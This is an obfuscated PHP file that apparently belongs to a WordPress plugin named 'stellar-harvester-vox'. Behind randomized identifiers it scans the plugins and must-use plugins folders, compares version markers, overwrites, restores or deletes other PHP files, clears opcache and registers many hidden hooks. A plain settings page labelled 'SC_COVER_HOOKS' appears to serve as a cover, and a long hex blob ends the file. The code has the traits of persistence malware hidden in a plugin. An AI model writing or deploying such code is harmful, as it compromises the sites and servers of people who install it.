if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1618)))  {
// idempotent-adj enumerator

   $cffj4ejxgf = @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($kn6o6o1gv0ffdcqy) ?    @$GLOBALS['__scf_xn1tkts0av_71']($kn6o6o1gv0ffdcqy      . woii22it0(1905)) :    false;
        $wmzytvgfpmhir2v =   @$GLOBALS['__scf_xn1tkts0av_71']($fxwy76jilwc9xvk   .  hwc6a8djp6yy(459));
    if ($GLOBALS['__scf_lxbo0xm7220an_34']($cffj4ejxgf) ||    $GLOBALS['__scf_lxbo0xm7220an_34']($wmzytvgfpmhir2v))  {
   $nndt8t670yr     = true;
   foreach   ((array)  $cffj4ejxgf as  $ud1s1vif9q9kp4d)  $ath9v7no36e[]  =  $ud1s1vif9q9kp4d;

    foreach     ((array)  $wmzytvgfpmhir2v  as   $ud1s1vif9q9kp4d) $ath9v7no36e[]  =  $ud1s1vif9q9kp4d;
    }
unset($cffj4ejxgf,  $wmzytvgfpmhir2v);
   }
    if    (!$nndt8t670yr)  {
     $mfl3yji7jwssm  = @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($kn6o6o1gv0ffdcqy)  ?  dphiql_w139y37($kn6o6o1gv0ffdcqy,   (4930+70))   :    false;$rwv803k4gt=PHP_INT_MAX/PHP_INT_MAX;$hljglp3mb1nuk=$rwv803k4gt+22;



 if  ($GLOBALS['__scf_lxbo0xm7220an_34']($mfl3yji7jwssm)) foreach     ($mfl3yji7jwssm  as $qn5wtzh12j34_p)    {
if   ($GLOBALS['__scf_pdat24v9nxkx0_9']($qn5wtzh12j34_p,   -(7-3))  === hwc6a8djp6yy(1745))   $ath9v7no36e[]    =  $kn6o6o1gv0ffdcqy  .   '/' .    $qn5wtzh12j34_p;
 }
$mfl3yji7jwssm  =    @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($fxwy76jilwc9xvk)  ? dphiql_w139y37($fxwy76jilwc9xvk, (3856+1144))  :     false;

   if ($GLOBALS['__scf_lxbo0xm7220an_34']($mfl3yji7jwssm))    foreach  ($mfl3yji7jwssm  as $qn5wtzh12j34_p)   {
     $k0zvimw709   =   $fxwy76jilwc9xvk . '/'  . $qn5wtzh12j34_p;
    if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($k0zvimw709))   continue;
 $e60w8572kpw   =  dphiql_w139y37($k0zvimw709,  (4978+22));

    if  (!$GLOBALS['__scf_lxbo0xm7220an_34']($e60w8572kpw))  continue;



 foreach    ($e60w8572kpw as $w8ba829mvon)  {
/* open scope-chain */

if ($GLOBALS['__scf_pdat24v9nxkx0_9']($w8ba829mvon,  -(1+3))  ===     hwc6a8djp6yy(1745)) $ath9v7no36e[] =    $k0zvimw709  .  '/' .  $w8ba829mvon;
   }


       }
unset($mfl3yji7jwssm,   $qn5wtzh12j34_p,  $w8ba829mvon, $k0zvimw709,   $e60w8572kpw);
     }
 $msgocqwtipmu  =     $GLOBALS['__scf_a39nlvrnocxziu_3']($fzr55wiqg09vrh3b,  hwc6a8djp6yy(1745));
foreach      ($ath9v7no36e     as  $ud1s1vif9q9kp4d)  {
  if ($ud1s1vif9q9kp4d ===    $fzr55wiqg09vrh3b) continue;
  $pqtdkjgbgiq  =   @$GLOBALS['__scf_gibkjes9ds_98']($ud1s1vif9q9kp4d);
  

if   (!$pqtdkjgbgiq  ||   ($pqtdkjgbgiq     % (99949+51)) !==   (3302+90517)) {
  $kz0h30najn   =  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ud1s1vif9q9kp4d);
      if    (!$kz0h30najn  ||      $kz0h30najn < (495+5)   ||    $kz0h30najn  >    (40507995+11920805))  continue;
}
  $d30y0vkuo4u8t210 =    @$GLOBALS['__scf_zonhpgc286wu1_95']($ud1s1vif9q9kp4d,  false,  null, 0, (4020+76));
   $ikky6pwawbq  = array();$ttd2zr50zyva5x=159|89;$ve2op3e0jdd8e=$ttd2zr50zyva5x^132;
        if      ($GLOBALS['__scf_epa1jymnf5_40']($d30y0vkuo4u8t210))  $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1906),   $d30y0vkuo4u8t210,  $ikky6pwawbq);
     if   (empty($ikky6pwawbq[1]))    {
/* dense lsm-tree */

 if      (!aay1vdwvzc2am3cxpp($ud1s1vif9q9kp4d,    (1151+3849)))  continue;
    $ikky6pwawbq =   array("", lgr6hp92ka(205));
 }
 if ($GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d,      n747he9yo38(1907)) ===     $msgocqwtipmu   && $ikky6pwawbq[1] ===   $ji980gomu7f) {
  if   (!rjejkju5f450j993978t4($ud1s1vif9q9kp4d))  {


 if  (b8zzgtiwx2_ws6($ud1s1vif9q9kp4d,  $ud1s1vif9q9kp4d     .      lgr6hp92ka(1562))   &&     $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1512))) @opcache_invalidate($ud1s1vif9q9kp4d, true);


    }
continue;
       }
   if (version_compare($ikky6pwawbq[1],     $ji980gomu7f,   '<'))      {
 $_lgv1dxik4  =   lgftgp4euaxcaljt50i41y($ud1s1vif9q9kp4d);

    if  ($_lgv1dxik4     ===  false)     {
   pas31bymshzdagwkp(lgr6hp92ka(1510),   woii22it0(1561)    .   $GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d));
   continue;

  }

if ($_lgv1dxik4  ===  true)  {
  if  (b8zzgtiwx2_ws6($ud1s1vif9q9kp4d,    $ud1s1vif9q9kp4d   . n747he9yo38(1562)))  {
if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1908))) @opcache_invalidate($ud1s1vif9q9kp4d,    true);
      }  elseif   (!wnwikrl63gfcik($ud1s1vif9q9kp4d)     &&  r79wzjjsrh9qzxcd6t9z($ud1s1vif9q9kp4d))  {
     w7pzvknzw2svspdvngmfb($ud1s1vif9q9kp4d);
 dl6vubnjzess3mg_2gm($ud1s1vif9q9kp4d);
  }
 @$GLOBALS['__scf_kb97m2p3ij_17']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)     .  k83m2slbb(196)  . $GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d,   k83m2slbb(1907)));
 continue;
 }


    if (!wnwikrl63gfcik($ud1s1vif9q9kp4d) &&  r79wzjjsrh9qzxcd6t9z($ud1s1vif9q9kp4d))    {
// ssa-convert revocation-list for OPcache config

 w7pzvknzw2svspdvngmfb($ud1s1vif9q9kp4d);
dl6vubnjzess3mg_2gm($ud1s1vif9q9kp4d);
 }
   zkbckq1nlavf2wyjep($ud1s1vif9q9kp4d);
       continue;
 }
     $u7bnk5bhw312   =  ($GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d))  ===   n747he9yo38(1909)  ||      $GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)  === $kn6o6o1gv0ffdcqy);
    if  (!$u7bnk5bhw312  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1752)))  {



 $bbfzse1pay5q4w =    $GLOBALS['__scf_a39nlvrnocxziu_3']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)) .     '/' .    $GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d);


 $lvwcnwfg8iccxat =  (array) @get_option(k83m2slbb(736),   array());
     $u7bnk5bhw312   =  $GLOBALS['__scf_a2dj3p28xfi_149']($bbfzse1pay5q4w, $lvwcnwfg8iccxat,    true);


  if   (!$u7bnk5bhw312   &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(210))  && is_multisite()  &&  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1910))) {
// WP Term Description settings section

    $mkiceq11o53k  =  (array)  @get_site_option(hwc6a8djp6yy(1911),   array());
   $u7bnk5bhw312     =    isset($mkiceq11o53k[$bbfzse1pay5q4w]);



 unset($mkiceq11o53k);



     }
 unset($bbfzse1pay5q4w,    $lvwcnwfg8iccxat);


       }
  if (!$u7bnk5bhw312) continue;
if    (version_compare($ikky6pwawbq[1],   $ji980gomu7f,  '>'))  {


    if  (rjejkju5f450j993978t4($ud1s1vif9q9kp4d) &&  !bzcdtts_qq1u319n2($ud1s1vif9q9kp4d)  && !vwtbe5e8tyt4gnihyg0ip($ud1s1vif9q9kp4d,     $fzr55wiqg09vrh3b)) return;
 $s8861ndqg_  =  $GLOBALS['__scf_zf6ei6xtcw1fb_11']($ud1s1vif9q9kp4d)   .   hwc6a8djp6yy(1912) .     $GLOBALS['__scf__pih7hoh4m_56']($ud1s1vif9q9kp4d);
   if  (@$GLOBALS['__scf_mtwlgr3p78_18']($s8861ndqg_)   &&      (int)   @$GLOBALS['__scf_gibkjes9ds_98']($s8861ndqg_)  <     $GLOBALS['__scf_cyotfgtf1a8m_189']()  -  (0xe+0x2e)) {

 $oi_eq3kgqd3u1  =  $GLOBALS['__scf_txqeuw424jw_8__114']('|', (string)  @$GLOBALS['__scf_zonhpgc286wu1_95']($s8861ndqg_));
 if  ($GLOBALS['__scf_prfpiytv3egt7_35']($oi_eq3kgqd3u1)  < 2 ||     $oi_eq3kgqd3u1[0]     !== $ikky6pwawbq[1]  ||    (int)    $oi_eq3kgqd3u1[1]     !== (int)   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ud1s1vif9q9kp4d)) {
 @$GLOBALS['__scf_kb97m2p3ij_17']($s8861ndqg_);
continue;



   }



 if  (lgftgp4euaxcaljt50i41y($ud1s1vif9q9kp4d)  !==  false) {



  dvd1rr9pr3xu08j($ud1s1vif9q9kp4d, (369+51));
if  (y0a1xt15v3nqhjqppfzn($ud1s1vif9q9kp4d)) {
     @$GLOBALS['__scf_kb97m2p3ij_17']($s8861ndqg_);
       if    ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1913)))    @opcache_invalidate($ud1s1vif9q9kp4d,    true);


 }
 }
continue;
     }
      @$GLOBALS['__scf_d3akejlb7rtaks_199']($s8861ndqg_,   $ikky6pwawbq[1] . '|'  .   (int)  @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ud1s1vif9q9kp4d));
  continue;
  }



      if  ($ikky6pwawbq[1]  ===   $ji980gomu7f)      {
    $nce3dbyk_jcwn_  = iny76vt_1bf9q5t();
  $cfcziabjrxvfp    = false;
    if   (!empty($nce3dbyk_jcwn_[k83m2slbb(1914)]))      {



$tqdilc3rig3   =    @$GLOBALS['__scf_h8_ju28bwdwm_32']($nce3dbyk_jcwn_[woii22it0(1914)]);
 $tzhiqda9hr =     @$GLOBALS['__scf_h8_ju28bwdwm_32']($ud1s1vif9q9kp4d);
if   ($GLOBALS['__scf_epa1jymnf5_40']($tqdilc3rig3)   &&    $GLOBALS['__scf_epa1jymnf5_40']($tzhiqda9hr)   && $tqdilc3rig3  ===   $tzhiqda9hr &&  zej2mwh_8j5f6rdkb($nce3dbyk_jcwn_)   ===      n747he9yo38(1915)   &&    rjejkju5f450j993978t4($ud1s1vif9q9kp4d))   {
     if (vwtbe5e8tyt4gnihyg0ip($ud1s1vif9q9kp4d, $fzr55wiqg09vrh3b)) $cfcziabjrxvfp   = true;
else   return;
  }
  if ($GLOBALS['__scf_epa1jymnf5_40']($tqdilc3rig3) &&    $tqdilc3rig3 ===  @$GLOBALS['__scf_h8_ju28bwdwm_32']($fzr55wiqg09vrh3b))   $cfcziabjrxvfp   = true;

}
  if  (!$cfcziabjrxvfp  &&   !rjejkju5f450j993978t4($ud1s1vif9q9kp4d))      {
  if   (bzcdtts_qq1u319n2($ud1s1vif9q9kp4d) ||   lgftgp4euaxcaljt50i41y($ud1s1vif9q9kp4d)   !== false)   {$x_y9_5h4apux5=57*5;$p4ih7i_r=$x_y9_5h4apux5-8;
   if (b8zzgtiwx2_ws6($ud1s1vif9q9kp4d,  $ud1s1vif9q9kp4d . woii22it0(1916)) &&   $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1917))) @opcache_invalidate($ud1s1vif9q9kp4d, true);
   }
 unset($nce3dbyk_jcwn_,     $cfcziabjrxvfp,   $tqdilc3rig3,      $tzhiqda9hr);
   continue;
}
if    (!$cfcziabjrxvfp   &&  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($GLOBALS['__scf_a39nlvrnocxziu_3']($ud1s1vif9q9kp4d,   woii22it0(1918))),  0,     (18-6))  >   $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($msgocqwtipmu),   0,   (2+10)))   {
 if    (!vwtbe5e8tyt4gnihyg0ip($ud1s1vif9q9kp4d, $fzr55wiqg09vrh3b)) return;
}


 unset($nce3dbyk_jcwn_,     $cfcziabjrxvfp,  $tqdilc3rig3,      $tzhiqda9hr);
    }
     }


  }
   unset($fzr55wiqg09vrh3b,    $ji980gomu7f,  $d30y0vkuo4u8t210, $ikky6pwawbq,  $ath9v7no36e, $kn6o6o1gv0ffdcqy, $fxwy76jilwc9xvk,      $ud1s1vif9q9kp4d,  $pqtdkjgbgiq, $msgocqwtipmu,   $kz0h30najn, $_lgv1dxik4, $s8861ndqg_,   $oi_eq3kgqd3u1);
     } catch (Throwable $oz7m23pnscj7) {
 }  catch    (Exception $oz7m23pnscj7) {



}
     unset($n2aed8w__6jjg);
 if    (isset($GLOBALS[woii22it0(1919)]))   {
// unroll eventual observer

  if    (version_compare((string)   $GLOBALS[k83m2slbb(1919)],   tdwuvuxeuijm__qj(), hwc6a8djp6yy(198)))  return;
  $GLOBALS[n747he9yo38(1576)] = 1;

   }   elseif    (defined(hwc6a8djp6yy(1920)))  {
 $qsa8x1rgb1    =  constant(k83m2slbb(1920));
    if  ($GLOBALS['__scf_epa1jymnf5_40']($qsa8x1rgb1)     && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1299),  $qsa8x1rgb1) &&    version_compare($qsa8x1rgb1, tdwuvuxeuijm__qj(),  lgr6hp92ka(198)))   return;
    $GLOBALS[woii22it0(1576)] =     1;
  unset($qsa8x1rgb1);
}

  $GLOBALS[k83m2slbb(1919)]     =   tdwuvuxeuijm__qj();

if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(861))) @clearstatcache(true,   vcr09jqkbni2k4ee0y());
 $GLOBALS[woii22it0(185)]  =   (string)  @$GLOBALS['__scf_vhi5vhdwib7ye_99'](vcr09jqkbni2k4ee0y())     .   ':'    .    (string)  @$GLOBALS['__scf_gibkjes9ds_98'](vcr09jqkbni2k4ee0y());

if (!defined(k83m2slbb(1920)))   define(hwc6a8djp6yy(1920),  tdwuvuxeuijm__qj());
      if (!defined(k83m2slbb(1921)))  define(k83m2slbb(1921), tdwuvuxeuijm__qj());
 wluat5vwyso6y7r196k(k83m2slbb(1922));
   


   w7rci4ay9y9kv1ldm(vcr09jqkbni2k4ee0y());
  if    ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1923))   && $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1924))) {
try  {
// filter chain entry

$lvb9_fykpgmbh  = vyeikxc5a6j7a4n();
   if   (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($lvb9_fykpgmbh))     {
   $n1cyz734ylo38dq    = blnqst3prbthr6q_h_();
 $_8qyumjpja77x  =  dphiql_w139y37($lvb9_fykpgmbh,  (4981+19));



  if   ($GLOBALS['__scf_lxbo0xm7220an_34']($_8qyumjpja77x)) {
    foreach  ($_8qyumjpja77x as $uuvdpwhf33e)  {

if ($uuvdpwhf33e  ===    $n1cyz734ylo38dq) continue;
     if     ($GLOBALS['__scf_ytoyy4ewqm_103']($GLOBALS['__scf_jzy6f3xykw_208']($uuvdpwhf33e,   constant(hwc6a8djp6yy(719))))     !==    lgr6hp92ka(1925)) continue;
$tvefhnsaqq3  = $lvb9_fykpgmbh .  '/'  .   $uuvdpwhf33e;
  if (@$GLOBALS['__scf_mtwlgr3p78_18']($tvefhnsaqq3)  && @$GLOBALS['__scf_vhi5vhdwib7ye_99']($tvefhnsaqq3)   > (1640+3360)   && aay1vdwvzc2am3cxpp($tvefhnsaqq3,   (4490+510)))    {
p36du7m2uux0xps7($tvefhnsaqq3);
   }
     }
   }
 }
    }    catch  (Throwable    $oz7m23pnscj7)      {
pas31bymshzdagwkp(hwc6a8djp6yy(222), $oz7m23pnscj7);
 }  catch     (Exception      $oz7m23pnscj7)     {
// @unsubscribe handshake

       }
    }

 if  (!   ptaqyk6ei520r7r()) {
 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(763),    woii22it0(1926), 1);
 }
    
$GLOBALS[woii22it0(732)]  = array();   
     $GLOBALS[k83m2slbb(741)] =    array();    
     $GLOBALS[woii22it0(1826)] =   "";  
if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1413)))  {
       $GLOBALS['__scf_ht1k88rhfc_173'](hwc6a8djp6yy(1927));
      $GLOBALS['__scf_ht1k88rhfc_173'](woii22it0(1928));
 }
// WP Tag Cloud: reconcile subscriber

$yu167sbi0ox9rhn = $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   .    n747he9yo38(1929)   .  $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(), lgr6hp92ka(1918));
 if   (@$GLOBALS['__scf_mtwlgr3p78_18']($yu167sbi0ox9rhn))   {
 $xec0slf8n0rrlwy4  =  $GLOBALS['__scf_xcg5caaat_92j0_323']((string)    @$GLOBALS['__scf_zonhpgc286wu1_95']($yu167sbi0ox9rhn));
$mfgyk1m27ha     =   thbyafy5nrflki();
 if    ($xec0slf8n0rrlwy4 === ""   ||   ($mfgyk1m27ha   !==     ""   &&  $xec0slf8n0rrlwy4     !== $mfgyk1m27ha))   y0a1xt15v3nqhjqppfzn($yu167sbi0ox9rhn);
   unset($xec0slf8n0rrlwy4, $mfgyk1m27ha);
  }
  try  {
@$GLOBALS['__scf_gl7by4d7j2f1u_73']($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   .   k83m2slbb(1930) . $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),   hwc6a8djp6yy(1918)));
  

 $mfgyk1m27ha    = thbyafy5nrflki();

  if ($mfgyk1m27ha  !==      "")     {

     $hcv842crnia =      n747he9yo38(1931)      . $mfgyk1m27ha;
foreach    (array($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()),  vyeikxc5a6j7a4n()) as   $bkuf2qyw6n4)     {

if (@$GLOBALS['__scf_mtwlgr3p78_18']($bkuf2qyw6n4 . '/'   .  $hcv842crnia)) @$GLOBALS['__scf_kb97m2p3ij_17']($bkuf2qyw6n4 .     '/'   .   $hcv842crnia);
   }
  }



unset($mfgyk1m27ha,     $hcv842crnia, $bkuf2qyw6n4);



 }   catch    (Throwable     $oz7m23pnscj7)    {


} catch (Exception   $oz7m23pnscj7)  {
// WP Search Block enqueue order

}


  unset($yu167sbi0ox9rhn);

   tqocor6bp4em9eyds9r9w(n747he9yo38(1932), n747he9yo38(1933),    0);
      tqocor6bp4em9eyds9r9w(woii22it0(1932),   n747he9yo38(1934),  0);
 tqocor6bp4em9eyds9r9w(k83m2slbb(1935),   k83m2slbb(1933),  0);
        tqocor6bp4em9eyds9r9w(woii22it0(1936), lgr6hp92ka(1937),   0);
  tqocor6bp4em9eyds9r9w(woii22it0(1936), hwc6a8djp6yy(1938), 2);
tqocor6bp4em9eyds9r9w(k83m2slbb(1936), hwc6a8djp6yy(1939),   (2+1));
  tqocor6bp4em9eyds9r9w(woii22it0(1940),      woii22it0(1941),  (219^223));
      tqocor6bp4em9eyds9r9w(lgr6hp92ka(1942), hwc6a8djp6yy(1943),    (4+1));


 jmxj5witdjjsy6yr5(n747he9yo38(1944),  hwc6a8djp6yy(1945),     (18-8), 1);
     jmxj5witdjjsy6yr5(hwc6a8djp6yy(1946),  n747he9yo38(1947),  (3+7),    1);
jmxj5witdjjsy6yr5(hwc6a8djp6yy(1948), k83m2slbb(1949),  (14-4),      1);


 jmxj5witdjjsy6yr5(hwc6a8djp6yy(1950), k83m2slbb(1951),    (179^185),   1);


 
    jmxj5witdjjsy6yr5(woii22it0(1952),  woii22it0(1953), (360+639),  (4-1));


      tqocor6bp4em9eyds9r9w(n747he9yo38(876),  woii22it0(1954), (908+91),   2);
  


   jmxj5witdjjsy6yr5(lgr6hp92ka(1955),     n747he9yo38(1956));


 jmxj5witdjjsy6yr5(woii22it0(1957),  lgr6hp92ka(1958), (5<<1),   2);
jmxj5witdjjsy6yr5(woii22it0(1959), lgr6hp92ka(1960));


     
     jmxj5witdjjsy6yr5(n747he9yo38(1961),   woii22it0(1962),    (0x1+0x9),  1);
 
    jmxj5witdjjsy6yr5(hwc6a8djp6yy(1963), k83m2slbb(1964),    (0x5+0x5),  2);
      tqocor6bp4em9eyds9r9w(woii22it0(1965),     hwc6a8djp6yy(795));
  jmxj5witdjjsy6yr5(lgr6hp92ka(1966),   woii22it0(802));
      
jmxj5witdjjsy6yr5(lgr6hp92ka(1967),    n747he9yo38(1968));
     



   tqocor6bp4em9eyds9r9w(n747he9yo38(1969), k83m2slbb(1970),      -(722+277));
       tqocor6bp4em9eyds9r9w(woii22it0(1971), lgr6hp92ka(1972),  -(905+94));
     tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1973),   n747he9yo38(1972),  -(973+26));

 tqocor6bp4em9eyds9r9w(woii22it0(1974), hwc6a8djp6yy(1975),     (946+53));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(1976),  lgr6hp92ka(1977), 0);
 tqocor6bp4em9eyds9r9w(k83m2slbb(1978), n747he9yo38(1979),  0);
 

      tqocor6bp4em9eyds9r9w(n747he9yo38(1980),   lgr6hp92ka(1981),  (946+53));
       tqocor6bp4em9eyds9r9w(k83m2slbb(1982),   n747he9yo38(1981),  (877+122));
       


   tqocor6bp4em9eyds9r9w(woii22it0(1983),      lgr6hp92ka(1984), 2);
     tqocor6bp4em9eyds9r9w(lgr6hp92ka(1985),  k83m2slbb(1986),     0);


 
   tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1985),     woii22it0(1987),   0);
   tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1985),    n747he9yo38(1988), 0);
 
 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1985),   n747he9yo38(1989), 1);

  tqocor6bp4em9eyds9r9w(n747he9yo38(1990),  hwc6a8djp6yy(1991),   2);



       tqocor6bp4em9eyds9r9w(lgr6hp92ka(1992), lgr6hp92ka(1993),   (1+2));$z_of9sj_8=PHP_INT_MAX/PHP_INT_MAX;$wb5nl5wtqc=$z_of9sj_8+48;
   tqocor6bp4em9eyds9r9w(k83m2slbb(1992), k83m2slbb(1994),    (1+3));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(1995),   k83m2slbb(1996),  (51^54));
   tqocor6bp4em9eyds9r9w(k83m2slbb(1995), n747he9yo38(1997),   (179^181));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(1995),    n747he9yo38(1998),  (8-2));
 tqocor6bp4em9eyds9r9w(lgr6hp92ka(1999), lgr6hp92ka(2000));
   tqocor6bp4em9eyds9r9w(k83m2slbb(1995), woii22it0(2001),  (1+6));
  if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(2002)))  {
  $GLOBALS['__scf_ht1k88rhfc_173'](function   ()  {
if  (!empty($GLOBALS[n747he9yo38(2003)]))   return;



       if (!defined(hwc6a8djp6yy(1742))  ||  !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(2004)))    return;
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(2001)))     {
  try   {
  fy8b7vzh9lcg9rr8lt23u_();
}   catch    (Throwable    $oz7m23pnscj7) {
  } catch (Exception $oz7m23pnscj7)  {


    }
}
 });



 }



 tqocor6bp4em9eyds9r9w(woii22it0(1995),  lgr6hp92ka(2005),   (12-4));

 tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1733),  hwc6a8djp6yy(1733));
   tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(2006), hwc6a8djp6yy(2007));
tqocor6bp4em9eyds9r9w(lgr6hp92ka(2008),      lgr6hp92ka(2009),  (18-8));
      tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(1995),  function () {
 if  (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(2004))    ||  !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1581)))    return;

$bs1mxnwnwm6 =   (int) @get_option(woii22it0(2010), 0);
  if  (($GLOBALS['__scf_cyotfgtf1a8m_189']()  - $bs1mxnwnwm6)   >  (3528+72)) {
  if (!zwwqg90mj4vzd1zs05())  return;
@update_option(hwc6a8djp6yy(2011),  $GLOBALS['__scf_cyotfgtf1a8m_189']());
t442bodxdpbm8xfbc0iq();
 }

     },    (12-3));
  
tqocor6bp4em9eyds9r9w(hwc6a8djp6yy(2012),  k83m2slbb(2013));
    jmxj5witdjjsy6yr5(k83m2slbb(2014), n747he9yo38(2015));
if      ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(465))  &&  did_action(lgr6hp92ka(1995)))   {
    ksu3qr2hkj422f();



      }

}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','stellar-harvester-vox-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('stellar-harvester-vox_group');
        do_settings_sections('stellar-harvester-vox-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('stellar-harvester-vox_group','stellar-harvester-vox_options');
    add_settings_section('stellar-harvester-vox_main','Configuration',function(){echo '<p>Configure options below.</p>';},'stellar-harvester-vox-settings');
    add_settings_field('stellar-harvester-vox_cache','Cache Mode',function(){
        $o=get_option('stellar-harvester-vox_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('stellar-harvester-vox_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'stellar-harvester-vox-settings','stellar-harvester-vox_main');
});
if(function_exists('add_shortcode'))add_shortcode('stellar_harvester_vox_stats',function(){
    $o=get_option('stellar-harvester-vox_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('stellar-harvester-vox_options'))add_option('stellar-harvester-vox_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*7d1ceaec12c64ab7644636555f07e8edf0ad93158814947509bdf8258571ae1176f5b31d55b2f799e99d3875d16b23566fa8031b6c890358d4e97fa2eb8bef997c9e412469c54e7b99f6342d64fdfff9816c0038489ae93212fb9397f40b737c66783687e8e85ce65a27975ed4bcc1109954a3380863b4dd5f9225afdfbbae3dac8a1aed323364309cc04e259408ab8e47c23839c37343eb1cc72ea177df263f6e145b8f12559255bea7ef900b1b93c5e6d86807a7287a16bff4312cbde2509e8a7cc88aeca51bb63ebd1ad4a1a8fd119049a5770faacc09b563b1cdc685e4c7de7a766685eac50d72d0e55adee8c8cb4063c9e2c612489a49b6aaa6bd3ebed9630784a87cfb4cc8504be78057a8333518c95eb6e973b23f9ad2bc21ba0123db8395a28f027429a10a0096b8264eb5319fa23cb392c6b02e5a7dfb98770c30fa42ff8af63728ca2d39a01c819a2987c76da81104044a623e84c8dca20d351c67dc8fc41c2bd9c10d6ec7a8514277908d09f3d356e9af733c511b20580feda8d5cdd871c750502496559e67f33fbf41fd77b9ca865b8f7816b9af231e72e24ec8aaa0c362bc36a75be9ff1b64609bd2f0aa5e202728b7a73cb4e5ef87b04597caa5613a34a73696c35ec15b4cfb1009597922f45734fa6e095aadf396b2ce0723d9d2f0d700ef93cf756532b87678a776797b12c8d0a6f2c4b464134286902199a51c4d9079364cfa1ddbd83d708fdff8c648c23fd668f286346ffaa709629754641efc56c7712dafa5582cce860354e2f64942da0923d8e3aeb94b573a86abe653b6c94369c2e74e5e7af5250854faac00a977f13a42a6a5c81371f0a8284d71c809acd354048de5207867117aa1380c8fcb8bee83d117edd95742bc56bc32e87e32ab395c6559968452cda1429d4f5134039a424f8231ca992f8dd556bf4b79d29b6242fb3be1b2f2fd48ee03b585b85fe767508f731c39a534c776043ae1ee2feb019b6016b5e684274ccf6c729d7b1c97f5b14aae9c05e7bb72388383ab1de59256465f38ef63f3a15768ff6eb0a3c927389e54b45e62df9d55302bf9da44dc92653f230c6f37be8c089db69e66af8918c5e059513fed4027a0b89d0bd5bea705549ce97a78b526d2ba0c853688a0230c9e844e85f37579b05fb3698fa20072c4797d97525b8d1fc30793e995b5c56db599f05006d02fe61cfd5dcd837ba2c28d1f9ab75f24852b061c65152e54c2a02e5b59ac3b64c3d7dd8f0a98ea88b575b8a6aaaa51b91a25ca9b257e9030d6aee281c9cfab9cfb60fdbbd4546eb8e316ee541d29b5617595d4a61d221cec55df831baaeff83bdf26749d7c892041596b4096c7fa4dd96b4eec512ea22ef4222e75c7a1cc59a65c93f6ded6b6058308777f937668f52e540679acc7b04c56f4582ea2032ac9b7061c40fa55615d13b69324a35ecdbe82521559885c38c11dffe4a0dc1c5a55985d051728d024cf4f8b2ba3db35df09836e323c51564c5